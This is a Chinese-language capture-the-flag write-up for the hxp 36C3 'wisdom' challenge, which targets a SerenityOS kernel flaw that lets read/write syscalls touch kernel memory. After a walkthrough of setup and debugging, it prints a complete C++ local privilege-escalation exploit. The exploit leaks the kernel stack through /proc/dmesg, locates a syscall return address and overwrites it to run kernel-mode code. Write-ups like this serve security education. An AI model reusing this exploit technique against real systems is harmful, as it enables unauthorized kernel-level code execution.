Description
SerenityOS是一套用于x86计算机的图形化类Unix操作系统。 SerenityOS 2019-12-30之前版本中的Kernel/VM/MemoryManager.cpp文件存在安全漏洞。本地攻击者可通过覆盖返回地址利用该漏洞获取权限。
该漏洞来自于hxp 36C3 CTF的wisdom这道题。
Description:
I really, really like this lovingly handcrafted OS. It would be a shame if something happened to it…
This is commit # fd06164fa0cee25ab69c701897de0a4bd03537d6 with the attached patch applied. Flag is in /dev/hdb.
Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 5 minutes and 30 seconds of CPU time, whichever happens first; you may contact us in case this causes problems for you.
Download:
wisdom-601e2adb9f44b61f.tar.xz (9.5 MiB)
Connection:
nc 88.198.156.191 2323
Environment
编译过程参考Serenity_Readme
编译环境
ubuntu 20.04
gcc 10.2.0
cmake 3.19.2
编译exp,在Userland/
放exp源码
gedit ./Userland/test.cpp
先执行一遍../Meta/refresh-serenity-qtcreator.sh
,提示Serenety root not set.
,设置SERENITY_ROOT
export SERENITY_ROOT=/home/sung3r/workspace/serenity/wisdom/serenity-fd06164fa0cee25ab69c701897de0a4bd03537d6
#再执行一遍
../Meta/refresh-serenity-qtcreator.sh
编译`Userland
make -C ../Userland/
编完后在主机开一个nc服务把exp传过去
nc -l -p 5555 < test
serenity里接收test
Exploitable
0x01 info leak and kernel r/w
在read
、write
系统调用时,会先校验buffer指针是否合法,调Process::validate_write
Process::validate_write
调MemoryManager::validate_user_write
MemoryManager::validate_user_write
调MemoryManager::region_from_vaddr
,参数传了进程句柄和虚拟地址,调用完成后再校验是否可写。
因为要exploit kernel,这里得使得kernel_region_from_vaddr
这个分支通过,让kernel认为传入地址是在kernel region
使得这一分支通过的地址要是>=0xc0000000
,即传入>=0xc0000000
的地址便可通过调read
、write
对kernel region进行读写
MemoryManager::initialize_paging()
显示kernel space位于>0xc0000000
// FIXME: We should move everything kernel-related above the 0xc0000000 virtual mark.
// Basic physical memory map:
// 0 -> 1 MB We're just leaving this alone for now.
// 1 -> 3 MB Kernel image.
// (last page before 2MB) Used by quickmap_page().
// 2 MB -> 4 MB kmalloc_eternal() space.
// 4 MB -> 7 MB kmalloc() space.
// 7 MB -> 8 MB Supervisor physical pages (available for allocation!)
// 8 MB -> MAX Userspace physical pages (available for allocation!)
// Basic virtual memory map:
// 0 -> 4 KB Null page (so nullptr dereferences crash!)
// 4 KB -> 8 MB Identity mapped.
// 8 MB -> 3 GB Available to userspace.
// 3GB -> 4 GB Kernel-only virtual address space (>0xc0000000)
借助dmesg
命令可以leak出kernel stack
0x02 debug
编辑./Kernel/run
,插入一条-s \
打开debug端口1234
运行serenity,再打开gdb,attach上去
#导入kernel symbols
pwndbg> file kernel
#attach
pwndbg> target remote :1234
0x03 hijack point
系统调用最终会进到syscall_asm_entry
,然后call syscall_handler
来调用,调用完后返回到add $0x4, %esp
开始执行。kernel stack应该存在许多指向add $0x4, %esp
的return address。
图中的0x001470C7
便是存放在kernel stack的return address
gdb在0x001470C7
下断点,继续continue后调试器能不断的断下,证明劫持点找对了
hijack的思路就是在kernel stack中找到0x001470C7
这个返回地址,覆盖成读flag的payload
0x04 read flag
flag.txt是以/dev/hdb
的形式挂载,但flag.txt并不是文件系统映像,需要调device相关接口函数read flag。
调Device::get_device
去获得/dev/hdb
设备
对应的major number = 3
,minor number = 1
调DiskDevice::read
去read flag
Script
完整的exploit
#include <cstring>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>
void* shared;
void* (*get_device)(int, int) = (void* (*)(int, int))(0x118728);
void* (*device_read)(void*, unsigned int, unsigned int, void*) = (void* (*)(void*, unsigned int, unsigned int, void*))(0x118a46);
#define RETURN_ADDR 0x001470c7
/*
* Finds base of the kernel stack assocaited with our child process
*/
unsigned long find_stackbase()
{
FILE* fp;
char* line = NULL;
char* end = NULL;
size_t len = 0;
ssize_t read;
unsigned long val = 0;
fp = fopen("/proc/dmesg", "r");
while ((read = getline(&line, &len, fp)) != -1) {
}
//puts(line);
line = strstr(line, "@") + 2;
end = strstr(line, " ");
*end = 0;
fclose(fp);
//strtoul is broken so we chop off the highest nibble and add it back in after
val = strtoul(line + 3, NULL, 16);
val |= 0xC0000000;
//printf("%lu\n", val);
return val;
}
/*
* Finds the address on the stack that stores the return address we want to overwrite.
*/
unsigned long find_hijack(unsigned long stack_base)
{
int p[2]; //p[0]:out; p[1]:in
char buf[0x1000] = {};
unsigned long addr;
pipe(p);
addr = stack_base;
for (int i = 0; i < 0x10000; i += 0x1000) {
write(p[1], (void*)(addr + i), 0x1000);
read(p[0], buf, 0x1000);
for (int j = 0; j < 0x1000 - 0x4; j += 4) {
uint32_t ret = *(uint32_t*)(buf + j);
if (ret == RETURN_ADDR) {
return addr + i + j;
}
}
}
return 0;
}
unsigned long sleep_child()
{
sleep(2);
printf("never getting here!\n");
exit(0);
}
void payload()
{
void* dev = get_device(3, 1);
device_read(dev, 0, 512, shared);
// crash the child process cause why not
*(unsigned long*)0x41414141 = 0x31313131;
}
int main(int, char**)
{
unsigned long stackbase = 0;
unsigned long hijack = 0;
unsigned long payload_ptr;
int p[2];
shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
printf("mmap addr: %p\n", shared);
if (fork() == 0) {
sleep_child();
}
sleep(1);
stackbase = find_stackbase();
printf("stackbase at %lx\n", stackbase);
hijack = find_hijack(stackbase);
printf("hijack at %lx\n", hijack);
// overwrite return address
payload_ptr = (unsigned long)&payload;
pipe(p);
write(p[1], &payload_ptr, 4);
read(p[0], (void *)hijack, 4);
sleep(2);
printf("flag is %s\n", (char *)shared);
return 1;
}